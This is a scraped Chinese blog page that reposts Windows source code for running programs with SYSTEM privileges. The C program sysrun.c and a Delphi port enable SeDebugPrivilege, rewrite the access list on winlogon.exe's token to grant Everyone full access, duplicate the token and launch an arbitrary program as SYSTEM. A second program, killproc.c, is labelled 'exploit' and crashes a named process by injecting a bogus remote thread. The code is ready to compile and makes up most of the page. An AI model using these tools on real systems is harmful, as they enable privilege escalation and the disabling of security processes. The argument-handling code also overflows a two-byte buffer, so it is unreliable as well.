"SYSTEM"用户创建进程

Windows SYSTEM用户进程创建VB源码项目 在操作系统的安全领域,用户权限管理一直是保障系统安全的重要环节。在Windows系统中,SYSTEM用户权限是最高级别的权限,拥有完全控制计算机的能力。本章将带你深入解析SYSTEM用户权限的基本概念、重要性以及如何管理和维护这种高级别的权限。VB中的数据类型可以分为基本数据类型和复杂数据类型。基本数据类型主要包括:Integer:整型,用于存储整数。Long:长整型,比Integer范围大。Double:双精度浮点数,用于存储带有小数点的数字。String。 阅读详情
sysrun.c

cl sysrun.cpp Shlwapi.lib advapi32.lib


#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <aclapi.h>

#pragma comment(lib,"Shlwapi.lib")

BOOL EnableDebugPriv(LPCTSTR szPrivilege)
{
  HANDLE hToken;
  LUID sedebugnameValue;
  TOKEN_PRIVILEGES tkp;

  if (!OpenProcessToken(GetCurrentProcess(),
                        TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
                        &hToken))
  {
    return FALSE;
  }
  if (!LookupPrivilegeValue(NULL, szPrivilege, &sedebugnameValue))
  {
    CloseHandle(hToken);
    return FALSE;
  }

  tkp.PrivilegeCount = 1;
  tkp.Privileges[0].Luid = sedebugnameValue;
  tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

  if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
  {
    CloseHandle(hToken);
    return FALSE;
  }

  return TRUE;
}


DWORD GetProcessId(LPCTSTR szProcName)
{
  PROCESSENTRY32 pe;  
  DWORD dwPid;
  DWORD dwRet;
  BOOL bFound = FALSE;
  
  HANDLE hSP = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (hSP)
  {
    pe.dwSize = sizeof(pe);

    for (dwRet = Process32First(hSP, &pe);
         dwRet;
         dwRet = Process32Next(hSP, &pe))
  {
      
      if (StrCmpNI(szProcName, pe.szExeFile, strlen(szProcName)) == 0)
      {
        dwPid = pe.th32ProcessID;
        bFound = TRUE;
        break;
      }
    }

    CloseHandle(hSP);

    if (bFound == TRUE)
    {
      return dwPid;
    }
  }

  return NULL;
}

BOOL
CreateSystemProcess(LPTSTR szProcessName)
{
  HANDLE hProcess;
  HANDLE hToken, hNewToken;
  DWORD dwPid;

  PACL pOldDAcl = NULL;
  PACL pNewDAcl = NULL;
  BOOL bDAcl;
  BOOL bDefDAcl;
  DWORD dwRet;

  PACL pSacl = NULL;
  PSID pSidOwner = NULL;
  PSID pSidPrimary = NULL;
  DWORD dwAclSize = 0;
  DWORD dwSaclSize = 0;
  DWORD dwSidOwnLen = 0;
  DWORD dwSidPrimLen = 0;

  DWORD dwSDLen;
  EXPLICIT_ACCESS ea;
  PSECURITY_DESCRIPTOR pOrigSd = NULL;
  PSECURITY_DESCRIPTOR pNewSd = NULL;

  STARTUPINFO si;
  PROCESS_INFORMATION pi;

  BOOL bRet = true;

  if (!EnableDebugPriv("SeDebugPrivilege"))
  {
    printf("EnableDebugPriv() failed!/n");
    bRet = false;
    goto Cleanup;
  }
  

  if ((dwPid = GetProcessId("WINLOGON.EXE")) == NULL)
  {
    printf("GetProcessId() failed!/n");   
    bRet = false;
    goto Cleanup;
  }

  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
  if (hProcess == NULL)
  {
    printf("OpenProcess() = %d/n", GetLastError() );   

    bRet = false;
    goto Cleanup;
  }

  if (!OpenProcessToken( hProcess, READ_CONTROL|WRITE_DAC, &hToken ))
  {
    printf("OpenProcessToken() = %d/n", GetLastError());

    bRet = false;
    goto Cleanup;
  }

  ZeroMemory(&ea, sizeof( EXPLICIT_ACCESS));
  BuildExplicitAccessWithName(&ea,
                             "Everyone",
                              TOKEN_ALL_ACCESS,
                              GRANT_ACCESS,
                              0);

  if (!GetKernelObjectSecurity(hToken,
                               DACL_SECURITY_INFORMATION,
                               pOrigSd,
                               0,
                               &dwSDLen))
  {
    
    if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
    {
      pOrigSd = (PSECURITY_DESCRIPTOR) HeapAlloc(GetProcessHeap(),
                                                 HEAP_ZERO_MEMORY,
                                                 dwSDLen);
      if (pOrigSd == NULL)
      {
      printf("HeapAlloc failed: pSd /n");

        bRet = false;
        goto Cleanup;
      }
      if (!GetKernelObjectSecurity(hToken,
                                   DACL_SECURITY_INFORMATION,
                                   pOrigSd,
                                   dwSDLen,
                                   &dwSDLen))
      {
        printf("GetKernelObjectSecurity() = %d/n", GetLastError());
        bRet = false;
        goto Cleanup;
      }
    }
    else
    {
      printf("GetKernelObjectSecurity() = %d/n", GetLastError());
      bRet = false;
      goto Cleanup;
    }
  }

  if (!GetSecurityDescriptorDacl(pOrigSd, &bDAcl, &pOldDAcl, &bDefDAcl))
  {
    printf("GetSecurityDescriptorDacl() = %d/n", GetLastError());

    bRet = false;
    goto Cleanup;
  }

  dwRet = SetEntriesInAcl(1, &ea, pOldDAcl, &pNewDAcl); 
  if (dwRet != ERROR_SUCCESS)
  {
    printf("SetEntriesInAcl() = %d/n", GetLastError()); 
    pNewDAcl = NULL;

    bRet = false;
    goto Cleanup;
  }

  if (!MakeAbsoluteSD(pOrigSd,
                      pNewSd,
                      &dwSDLen,
                      pOldDAcl,
                      &dwAclSize,
                      pSacl,
                      &dwSaclSize,
                      pSidOwner,
                      &dwSidOwnLen,
                      pSidPrimary,
                      &dwSidPrimLen))
  {
    
    if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
    {
      pOldDAcl = (PACL) HeapAlloc(GetProcessHeap(),
                                  HEAP_ZERO_MEMORY,
                                  dwAclSize);
      pSacl = (PACL) HeapAlloc(GetProcessHeap(),
                               HEAP_ZERO_MEMORY,
                               dwSaclSize);
      pSidOwner = (PSID) HeapAlloc(GetProcessHeap(),
                                   HEAP_ZERO_MEMORY,
                                   dwSidOwnLen);
      pSidPrimary = (PSID) HeapAlloc(GetProcessHeap(),
                                     HEAP_ZERO_MEMORY,
                                     dwSidPrimLen);
      pNewSd = (PSECURITY_DESCRIPTOR) HeapAlloc(GetProcessHeap(),
                                                HEAP_ZERO_MEMORY,
                                                dwSDLen);

      if (pOldDAcl == NULL||
          pSacl == NULL||
          pSidOwner == NULL||
          pSidPrimary == NULL||
          pNewSd == NULL )
      {
        printf("HeapAlloc SID or ACL failed!/n");

        bRet = false;
        goto Cleanup;
      }

      if (!MakeAbsoluteSD(pOrigSd,
                          pNewSd,
                          &dwSDLen,
                          pOldDAcl,
                          &dwAclSize,
                          pSacl,
                          &dwSaclSize,
                          pSidOwner,
                          &dwSidOwnLen,
                          pSidPrimary,
                          &dwSidPrimLen))
      {
        printf("MakeAbsoluteSD() = %d/n", GetLastError());

        bRet = false;
        goto Cleanup;
      }
    }
    else
    {
      printf("MakeAbsoluteSD() = %d/n", GetLastError());

      bRet = false;
      goto Cleanup;
    }
  }

  if (!SetSecurityDescriptorDacl( pNewSd, bDAcl, pNewDAcl, bDefDAcl))
  {
    printf("SetSecurityDescriptorDacl() = %d/n", GetLastError());

    bRet = false;
    goto Cleanup;
  }
  
  if (!SetKernelObjectSecurity( hToken, DACL_SECURITY_INFORMATION, pNewSd))
  {
    printf("SetKernelObjectSecurity() = %d/n", GetLastError());

    bRet = false;
    goto Cleanup;
  }
  
  if (!OpenProcessToken( hProcess, TOKEN_ALL_ACCESS, &hToken))
  {
    printf("OpenProcessToken() = %d/n", GetLastError());   

    bRet = false;
    goto Cleanup;
  }

  if (!DuplicateTokenEx(hToken,
                        TOKEN_ALL_ACCESS,
                        NULL,
                        SecurityImpersonation,
                        TokenPrimary,
                        &hNewToken))
  {
    printf("DuplicateTokenEx() = %d/n", GetLastError());   

    bRet = false;
    goto Cleanup;
  }


  ZeroMemory(&si, sizeof(STARTUPINFO));
  si.cb = sizeof(STARTUPINFO);

  ImpersonateLoggedOnUser(hNewToken);

  if (!CreateProcessAsUser(hNewToken,
                           NULL,
                           szProcessName,
                           NULL,
                           NULL,
                           FALSE,
                           NULL,//NORMAL_PRIORITY_CLASS|CREATE_NEW_CONSOLE,
                           NULL,
                           NULL,
                           &si,
                           &pi))
  {
    printf("CreateProcessAsUser() = %d/n", GetLastError());   

    bRet = false;
    goto Cleanup;
  }
  WaitForSingleObject(pi.hProcess, INFINITE);

Cleanup:
  if (pOrigSd)
  {
    HeapFree(GetProcessHeap(), 0, pOrigSd );
  }
  if (pNewSd)
  {
    HeapFree(GetProcessHeap(), 0, pNewSd );
  }
  if (pSidPrimary)
  {
    HeapFree(GetProcessHeap(), 0, pSidPrimary);
  }
  if (pSidOwner)
  {
    HeapFree(GetProcessHeap(), 0, pSidOwner);
  }
  if (pSacl)
  {
    HeapFree(GetProcessHeap(), 0, pSacl);
  }
  if (pOldDAcl)
  {
    HeapFree(GetProcessHeap(), 0, pOldDAcl);
  }

  CloseHandle(pi.hProcess);
  CloseHandle(pi.hThread);
  CloseHandle(hToken);
  CloseHandle(hNewToken);
  CloseHandle(hProcess);
  return bRet;
}


void main(int argc, char** argv)
{
  if (argc<2)
  {
    printf("Usage %s filename.exe/n", argv[0]);
    return;
  }
  char  cmdLine[] = "/0";
  
  strcpy(cmdLine,argv[1]);
  strcat(cmdLine," ");
  for(int i=1;i<(argc-1);i++)
  {
    strcat(cmdLine,argv[i+1]);
    strcat(cmdLine," ");
  }
  strcat(cmdLine,"/0");
  printf(cmdLine);
  if (CreateSystemProcess(cmdLine) == FALSE)
  {
    printf("CreateSystemProcess() failed!/n");
  }
  return;
}

 

 
回复时引用此帖 多重引用本帖 快速回复此帖

 

killproc.c

cl killproc.c Shlwapi.lib advapi32.lib


#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <aclapi.h>

#pragma comment(lib,"Shlwapi.lib")

/*
BOOL EnableDebugPriv( LPCTSTR szPrivilege )
{
  HANDLE hToken;
  LUID sedebugnameValue;
  TOKEN_PRIVILEGES tkp;

  if ( !OpenProcessToken( GetCurrentProcess(),
                          TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
                          &hToken ) )
  {
    return FALSE;
  }
  if ( !LookupPrivilegeValue( NULL, szPrivilege, &sedebugnameValue ) )
  {
    CloseHandle( hToken );
    return FALSE;
  }

  tkp.PrivilegeCount = 1;
  tkp.Privileges[0].Luid = sedebugnameValue;
  tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

  if ( !AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )
  {
    CloseHandle( hToken );
    return FALSE;
  }

  return TRUE;
}
*/
BOOL exploit(char* chProcessName)
{

HANDLE hProcessSnap = NULL;

HANDLE hProcess = NULL;

BOOL bFound = FALSE;

BOOL bRet = FALSE;

PROCESSENTRY32 pe32 = {0};

UINT uExitCode = 0;

DWORD dwExitCode = 0;

LPDWORD lpExitCode = &dwExitCode;


hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hProcessSnap == INVALID_HANDLE_VALUE)
return (FALSE);

pe32.dwSize = sizeof(PROCESSENTRY32);

printf("Searching for process... /n");


while(!bFound && Process32Next(hProcessSnap, &pe32))
{
if(lstrcmpi(pe32.szExeFile, chProcessName) == 0)
bFound = TRUE;

}

CloseHandle(hProcessSnap);

if(!bFound){

printf("Process not found. /n");

return(FALSE);

}
printf("Process found. /n");

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);


if(hProcess == NULL){

printf("Write access denied for this process. /n");
printf("Exploit failed. /n");

return(FALSE);
}


printf("Write access is allowed /n");

printf("Send exploit to process.../n");

CreateRemoteThread(hProcess,0,0,(DWORD (__stdcall *)(void *))100,0,0,0);

printf("Success. /n");


return(pe32.th32ProcessID);
}

int main(int argc,char **argv)
{
char* chProcess = argv[1];

if(argc < 2) {


printf("/n");
printf("Usage: killproc.exe <process name> /n");

}
else
{  
//if ( !EnableDebugPriv("SeDebugPrivilege") )
//    printf("EnableDebugPriv() failed!/n");

exploit(chProcess);
}

}
Delphi 创建高权限进程 program Project1; //{$APPTYPE CONSOLE} uses windows, SysUtils, tlhelp32, accctrl, aclapi; procedure SetPrivilege; var OldTokenPrivileges, TokenPrivileges: TTokenPrivileges; ReturnLength: dword; hToken: THandle; Luid: int64; begin OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken); LookupPrivilegeValue(nil, 'SeDebugPrivilege', Luid); TokenPrivileges.Privileges[0].luid := Luid; TokenPrivileges.PrivilegeCount := 1; TokenPrivileges.Privileges[0].Attributes := 0; AdjustTokenPrivileges(hToken, False, TokenPrivileges, SizeOf(TTokenPrivileges), OldTokenPrivileges, ReturnLength); OldTokenPrivileges.Privileges[0].luid := Luid; OldTokenPrivileges.PrivilegeCount := 1; OldTokenPrivileges.Privileges[0].Attributes := TokenPrivileges.Privileges[0].Attributes or SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, False, OldTokenPrivileges, ReturnLength, PTokenPrivileges(nil)^, ReturnLength); end; function GetProcessID(EXE_Name: PChar): THandle; var s: string; ok: Bool; ProcessListHandle: THandle; ProcessStruct: TProcessEntry32; begin Result := 0; //获得进程列表句柄 ProcessListHandle := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0); try ProcessStruct.dwSize := SizeOf(ProcessStruct); //获得第一个进程句柄 ok := Process32First(ProcessListHandle, ProcessStruct); while ok do begin s := ExtractFileName(ProcessStruct.szExeFile);//获取进程的可执行文件名称 if AnsiCompareText(Trim(s), EXE_Name)=0 then//如果是HL程序名,表示找到游戏进程。 begin Result := ProcessStruct.th32ProcessID;//保留游戏进程句柄 break; end; ok := Process32Next(ProcessListHandle, ProcessStruct);//获取下一个进程信息。 end; finally CloseHandle(ProcessListHandle);//关闭进程列表句柄 end; end; ///////////////////////////////////////////////////////////////// Function CreateSystemProcess(szProcessName: LPTSTR): BOOL; Var hProcess: THANDLE; hToken, hNewToken: THANDLE; dwPid: DWORD; pOldDAcl: PACL; pNewDAcl: PACL; bDAcl: BOOL; bDefDAcl: BOOL; dwRet: DWORD; pSacl: PACL; pSidOwner: PSID; pSidPrimary: PSID; dwAclSize: DWORD; dwSaclSize: DWORD; dwSidOwnLen: DWORD; dwSidPrimLen: DWORD; dwSDLen: DWORD; ea: EXPLICIT_ACCESS; pOrigSd: PSECURITY_DESCRIPTOR; pNewSd: PSECURITY_DESCRIPTOR; si: STARTUPINFO; pi: PROCESS_INFORMATION; bError: BOOL; Label Cleanup; begin pOldDAcl:= nil; pNewDAcl:= nil; pSacl:= nil; pSidOwner:= nil; pSidPrimary:= nil; dwAclSize:= 0; dwSaclSize:= 0; dwSidOwnLen:= 0; dwSidPrimLen:= 0; pOrigSd:= nil; pNewSd:= nil; SetPrivilege; // 选择 WINLOGON 进程 dwPid := GetProcessId('WINLOGON.EXE'); If dwPid = High(Cardinal) Then begin bError := TRUE; Goto Cleanup; end; hProcess := OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,dwPid); If hProcess = 0 Then begin bError := TRUE; Goto Cleanup; end; If not OpenProcessToken(hProcess,READ_CONTROL or WRITE_DAC,hToken) Then begin bError := TRUE; Goto Cleanup; end; // 设置 ACE 具有所有访问权限 ZeroMemory(@ea, Sizeof(EXPLICIT_ACCESS)); BuildExplicitAccessWithName(@ea, 'Everyone', TOKEN_ALL_ACCESS, GRANT_ACCESS, 0); If not GetKernelObjectSecurity(hToken, DACL_SECURITY_INFORMATION, pOrigSd, 0, dwSDLen) Then begin {第一次调用给出的参数肯定返回这个错误,这样做的目的是 为了得到原安全描述符 pOrigSd 的长度} // HEAP_ZERO_MEMORY = 8;HEAP_GENERATE_EXCEPTIONS = &H4 If GetLastError = ERROR_INSUFFICIENT_BUFFER Then begin pOrigSd := HeapAlloc(GetProcessHeap(), $00000008, dwSDLen); If pOrigSd = nil Then begin bError := TRUE; Goto Cleanup; end; // 再次调用才正确得到安全描述符 pOrigSd If not GetKernelObjectSecurity(hToken, DACL_SECURITY_INFORMATION, pOrigSd, dwSDLen, dwSDLen) Then begin bError := TRUE; Goto Cleanup; end; end Else begin bError := TRUE; Goto Cleanup; end; end;//GetKernelObjectSecurity() // 得到原安全描述符的访问控制列表 ACL If not GetSecurityDescriptorDacl(pOrigSd,bDAcl,pOldDAcl,bDefDAcl) Then begin bError := TRUE; goto Cleanup; end; // 生成新 ACE 权限的访问控制列表 ACL dwRet := SetEntriesInAcl(1,@ea,pOldDAcl,pNewDAcl); If dwRet ERROR_SUCCESS Then begin pNewDAcl := nil; bError := TRUE; goto Cleanup; end; If not MakeAbsoluteSD(pOrigSd, pNewSd, dwSDLen, pOldDAcl^, dwAclSize, pSacl^, dwSaclSize, pSidOwner, dwSidOwnLen, pSidPrimary, dwSidPrimLen) Then begin {第一次调用给出的参数肯定返回这个错误,这样做的目的是 为了创建新的安全描述符 pNewSd 而得到各项的长度} If GetLastError = ERROR_INSUFFICIENT_BUFFER Then begin pOldDAcl := HeapAlloc(GetProcessHeap(), $00000008, dwAclSize); pSacl := HeapAlloc(GetProcessHeap(), $00000008, dwSaclSize); pSidOwner := HeapAlloc(GetProcessHeap(), $00000008, dwSidOwnLen); pSidPrimary := HeapAlloc(GetProcessHeap(), $00000008, dwSidPrimLen); pNewSd := HeapAlloc(GetProcessHeap(), $00000008, dwSDLen); If (pOldDAcl = nil) or (pSacl = nil) or (pSidOwner = nil) or (pSidPrimary = nil) or (pNewSd = nil) Then begin bError := TRUE; goto Cleanup; end; {再次调用才可以成功创建新的安全描述符 pNewSd 但新的安全描述符仍然是原访问控制列表 ACL} If not MakeAbsoluteSD(pOrigSd, pNewSd, dwSDLen, pOldDAcl^, dwAclSize, pSacl^, dwSaclSize, pSidOwner, dwSidOwnLen, pSidPrimary, dwSidPrimLen) Then begin bError := TRUE; goto Cleanup; end; end Else begin bError := TRUE; goto Cleanup; end; end; {将具有所有访问权限的访问控制列表 pNewDAcl 加入到新的 安全描述符 pNewSd 中} If not SetSecurityDescriptorDacl(pNewSd,bDAcl,pNewDAcl,bDefDAcl) Then begin bError := TRUE; goto Cleanup; end; // 将新的安全描述符加到 TOKEN 中 If not SetKernelObjectSecurity(hToken,DACL_SECURITY_INFORMATION,pNewSd) Then begin bError := TRUE; goto Cleanup; end; // 再次打开 WINLOGON 进程的 TOKEN,这时已经具有所有访问权限 If not OpenProcessToken(hProcess,TOKEN_ALL_ACCESS,hToken) Then begin bError := TRUE; goto Cleanup; end; // 复制一份具有相同访问权限的 TOKEN If not DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, nil, SecurityImpersonation, TokenPrimary, hNewToken) Then begin bError := TRUE; goto Cleanup; end; ZeroMemory(@si,Sizeof(STARTUPINFO)); si.cb := Sizeof(STARTUPINFO); {不虚拟登陆用户的话,创建新进程会提示 1314 客户没有所需的特权错误} ImpersonateLoggedOnUser(hNewToken); {我们仅仅是需要建立高权限进程,不用切换用户 所以也无需设置相关桌面,有了新 TOKEN 足够} // 利用具有所有权限的 TOKEN,创建高权限进程 If not CreateProcessAsUser(hNewToken, nil, szProcessName, nil, nil, FALSE, 0, nil, nil, si, pi) Then begin bError := TRUE; goto Cleanup; end; bError := FALSE; Cleanup: If pOrigSd = nil Then HeapFree(GetProcessHeap(),0,pOrigSd); If pNewSd = nil Then HeapFree(GetProcessHeap(),0,pNewSd); If pSidPrimary = nil Then HeapFree(GetProcessHeap(),0,pSidPrimary); If pSidOwner = nil Then HeapFree(GetProcessHeap(),0,pSidOwner); If pSacl = nil Then HeapFree(GetProcessHeap(),0,pSacl); If pOldDAcl = nil Then HeapFree(GetProcessHeap(),0,pOldDAcl); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle(hToken); CloseHandle(hNewToken); //CloseHandle(hProcess); If bError Then Result := FALSE Else Result := True; end; begin CreateSystemProcess('test.exe'); { TODO -oUser -cConsole Main : Insert code here } end. 立即下载

相关推荐

Delphi写的守护进程(服务程序)

delphi写的一个守护进程,可以在ini中配置你需要守护的程序名称和路径,当检测到程序被关闭后,服务自动启动该程序。

delphi Windows

delphi;delphi语言;delphi源码;delphi函数;delphi教程;delphi语法

173713873 1229

sysrun.rar_C 提升权限_sys run_sysrun_提升权限_提升进程权限

将你自己的进程提升为系统权限并运行的代码,c语言编写

临时以其它登录用户来执行操作

有时我们需要临时以其它用户的权限来执行某项操作。典型的像从一个共享文件夹中复制数据到本地,如果这个共享文件夹处于一个安全的服务器上,且设置了只有指定的用户才能读取,这时这种技术就非常有用;通常的处理方法是临时映射一个本地盘符,用完后取消映射,但如果要处理的时间稍长,有经验的用户会察觉到它,并在你的程序执行操作的同时也同样可以访问到其中的敏感内容,所以我们需要秘密的访问它。Windows 有几个 A

都市夜猫的专栏 1372

项目管理面试常见问题及答案

1. 项目管理软件工具知识,   2. 编制项目计划的技术,   3. 人员管理技能   4. 沟通技能   5. 原理体系知识(标生命周期和项目管理)。 项目管理软件工具知识   问题1:工期和工作量之间的差异是什么?   答案1:工期是商业/日历上的天数,与人数和工作量无关。工作量是与日历天数无关的人的工作。例如:   一天的工作量对于一个一只花50%在时间在上面的人来说,他的工期就是两天。...

okbin1991的博客 2842

ECC椭圆曲线加解密原理详解(配图)

椭圆曲线加解密原理详解 本文主要参照:ECC椭圆曲线详解(有具体实例)[1] 前言: 椭圆曲线(ECC)加密原理跟RSA加解密原理比起来,可真是晦涩难懂。拜读了大神Kalafinaian文章“ECC椭圆曲线详解(有具体实例)”,终于看到了参透的曙光。 由于原文中有微小的瑕疵,也为了便于阅读起来更加流畅,我重新整理了一下这篇文章。 为什么使用椭圆曲线加密算法? RSA的解决分解整数问题需要亚指数...

Mark的博客 7万+

delphi 以系统权限运行程序的代码

program sysrun; uses Windows, SysUtils, tlhelp32, AccCtrl, AclAPI; function findprocess(TheProcName: string): DWORD; var isOK: Boolean; ProcessHandle: Thandle; ProcessStruct: TProces...

dkopg24406的专栏 557

智能车竞赛飞檐走壁组立体赛道电磁引导线设计与实现

本文深入解析了智能车竞赛飞檐走壁组立体赛道电磁引导线的核心设计与实现。针对垂直面、圆筒、跷跷板等立体元素,详细阐述了电磁线规格参数选择、三维空间铺设技巧及磁场调试方法,旨在帮助参赛队伍打造稳定可靠的导航系统,提升车模在复杂立体赛道上的通过率与稳定性。

bert9linguist的博客 281

在SYSTEM权限下创建用户进程方法

1、runas,优点系统自带,缺点要交互。 2、lsrunas ,可以一次完成。 3、nircmd,功能丰富强大,缺点有时会被杀软查杀。 4、计划任务schtasks,优点系统自带。 5、psexec,新版本会蹦框提示,需要先运行命令加入注册表或运行时加-accepteula选项。 ......

edger2heaven的专栏 797

1014. 福尔摩斯的约会 (20)-PAT乙级真题

1014. 福尔摩斯的约会 (20) 大侦探福尔摩斯接到一张奇怪的字条:“我们约会吧!3485djDkxh4hhGE 2984akDfkkkkggEdsb s&hgsfdk d&Hyscvnm”。大侦探很快就明白了,字条上奇怪的乱码实际上就是约会的时间“星期四 14:04”,因为前面两字符串中第1对相同的大写英文字母(大小写有区分)是第4个字母’D’,代表星期四;第2对相同的字符是’

柳婼 の blog 2646

Prometheus常用配置介绍

除了 scrape_configs 外,上部还有 global 和 rule_files 部分, 其中 global 中 是 全 局 参 数 , scrape_interval 指 定 全 局 默 认 的 时 间 间 隔 , evaluation_interval 指定告警规则校验的时间间隔,rule_files 指定了告警规 则文件的位置名称。• annotations(注释):它们被用于存储更长的其他信息,例如警报描述 或者链接,注释值也可以被模板化。• alert:告警的名称。

weixin_42886699的博客 2261

VB 创建SYSTEM用户进程

Option Explicit'chenhui530 'VB创建SYSTEM用户进程'2007-5-29Private Const PROCESS_Create_THREAD = &amp;H2Private Const PROCESS_QUERY_INFORMATION = &amp;H400Private Const PROCESS_VM_WRITE = &amp;H20Private ...

資料為我做事 318

FAST-LIO论文公式解析

FAST-LIO论文公式解析

努力努力努力 670

system权限创建用户权限进程

windows编程的人都知道,在其操作系统下,进程被创建,通常被赋予很多属性,其中一项属性就是用户名,及进程所属的权限。打开任务管理器,可查看到(查看不到,点击查看,选择列即可)通常桌面系统explorer的权限是User权限,即用户权限的,它可以是你administrator,可以是你PC的名字,可以是Guest等,所以我们开启并运行的所有进程都继承它的权限。 若想运行具备system权限的ex

黄黄臭臭的便便到铜钱 7309

innovus:NRDB-2276 special net route layer与NanoRouteMode route layer冲突问题解决方法

NanoRouteMode中设置绕线层次2-6,但是被动到的special net有8-11的preferred route layer,这个层次可能是create_route_type+set_ccopt_property -net_type 定义的。二者绕线层次范围有冲突,导致在调整过这条net后再绕线就会提示失败。然后再下route_design 等route命令去绕别的net。我正在「拾陆楼」和朋友们讨论有趣的话题,你⼀起来吧?

m0_61544122的博客 1104

【ComfyUI】QwenImageEdit OOTD角色与姿态匹配换装

本文介绍了一个基于Qwen Edit OOTD 2.0的ComfyUI工作流,能够实现角色与姿态匹配的智能穿搭生成。该工作流通过整合模型推理、姿态识别、图像拼接和渲染等节点,完成从角色图、姿态图到成品穿搭图的完整生成流程。核心采用Qwen Image系列模型进行图像理解和编辑,配合ControlNet进行姿态引导。用户只需提供角色图和姿态参考图,系统即可自动完成姿态解析、语义编码、采样生成等步骤,输出与输入姿态一致的穿搭图像。该方案适用于虚拟角色展示、电商试穿等场景,能保持角色特征一致的同时灵活变换姿态,显

Mr数据杨 1590

System进程无法创建一个Administrator用户的子进程

DotNet中我们以其他用户身份运行程序,主要使用Process类设置其StartInfo中的userName和PassWord属性,然后调用Start。但是如果父进程是System用户,这种方法就失效了,提示“拒绝访问”的错误。想不通其中的原因,于是作了一个实验,使用服务启动一个System用户的进程Cmd,执行runas命令,模拟administrator用户执行程序,同样提示“拒绝访问”的错...

weixin_33725126的博客 207

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

VB创建SYSTEM用户进程(第二种方法)

Attribute VB_Name = "modHook"Private Declare Function NtCreateProcessEx Lib "NTDLL.DLL" (ByRef ProcessHandle As Long, ByVal AccessMask As Long, ByVal ObjectAttributes As Long, ByVal hParentProcess As

chenhui530的专栏 3878

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

VB创建SYSTEM用户进程(第一种方法)

Option Explicit Private Const PROCESS_CREATE_THREAD = &H2Private Const PROCESS_QUERY_INFORMATION = &H400Private Const PROCESS_VM_WRITE = &H20Private Const PROCESS_VM_OPERATION = &H8Private Const PROCE

chenhui530的专栏 3538

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

在system用户下创建普通用户进程

Windows开发--------在System身份的程序下,使用其他用户的身份启动程序 本文主要通过CreateProcessAsUser()函数来在某用户的身份下启动进程。 根据进程来获取用户的token,需要一个本地的进程 方法一 步骤一:获取本地进程的token /******************** 参数解释:参数一:要获取的进程的进程名,比如notepad++.exe 参数二:...

sinat_38602176的博客 1384

通过API HOOK 创建SYSTEM用户进程

  clsHookInfo.clsVERSION 1.0 CLASSBEGIN  MultiUse = -1  True  Persistable = 0  NotPersistable  DataBindingBehavior = 0  vbNone  DataSourceBehavior  = 0  vbNone  MTSTransactionMode  = 0  NotAn

chenhui530的专栏 5765

system 用户创建的进程创建当前用户(如Administrator)的进程。

//获取当前进程的灵牌 HANDLE hTokenDup = NULL; HANDLE hThisProcess = GetCurrentProcess(); DWORD dwSessionId = 0; dwSessionId = ::WTSGetActiveConsoleSessionId(); if(dwSessionId == 0xFFFFFFFF) { DWORD

aa1991的专栏 1284

system进程创建当前登录用户进程

以下函数调用后创建当前用户的进程,前提是当前执行的进程以system权限运行。 BOOL _CreateProcessAsUser(LPSTR command_line, PROCESS_INFORMATION &pi) { BOOL ret = FALSE; DWORD sessionId = 0; HANDLE hToken = NULL; HANDLE hTokenLink = NULL; HANDLE hTokenUser = NULL; STARTUPINFOA si; LU

Yvan Jiang的专栏 652

创建SYSTEM用户权限的进程

#include #include #include #include #include typedef NTSTATUS (WINAPI *pfRtlAdjustPrivilege)( ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled); void AdjustPri

csafu的专栏 2648

windows service(system权限)创建用户权限进程

windows编程的人都知道,在其操作系统下,进程被创建,通常被赋予很多属性,其中一项属性就是用户名,及进程所属的权限。打开任务管理器,可查看到. 通常桌面系统explorer的权限是User权限,即用户权限的,它可以是你administrator,可以是你PC的名字,可以是Guest等,所以我们开启并运行的所有进程都继承它的权限。 在添加服务后,服务所对应的进程权限是SYSTEM权限,那么...

weixin_30947043的博客 921
上一篇: 替换运行中的文件
下一篇: 逆向fuck.sys--编译通过--源码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值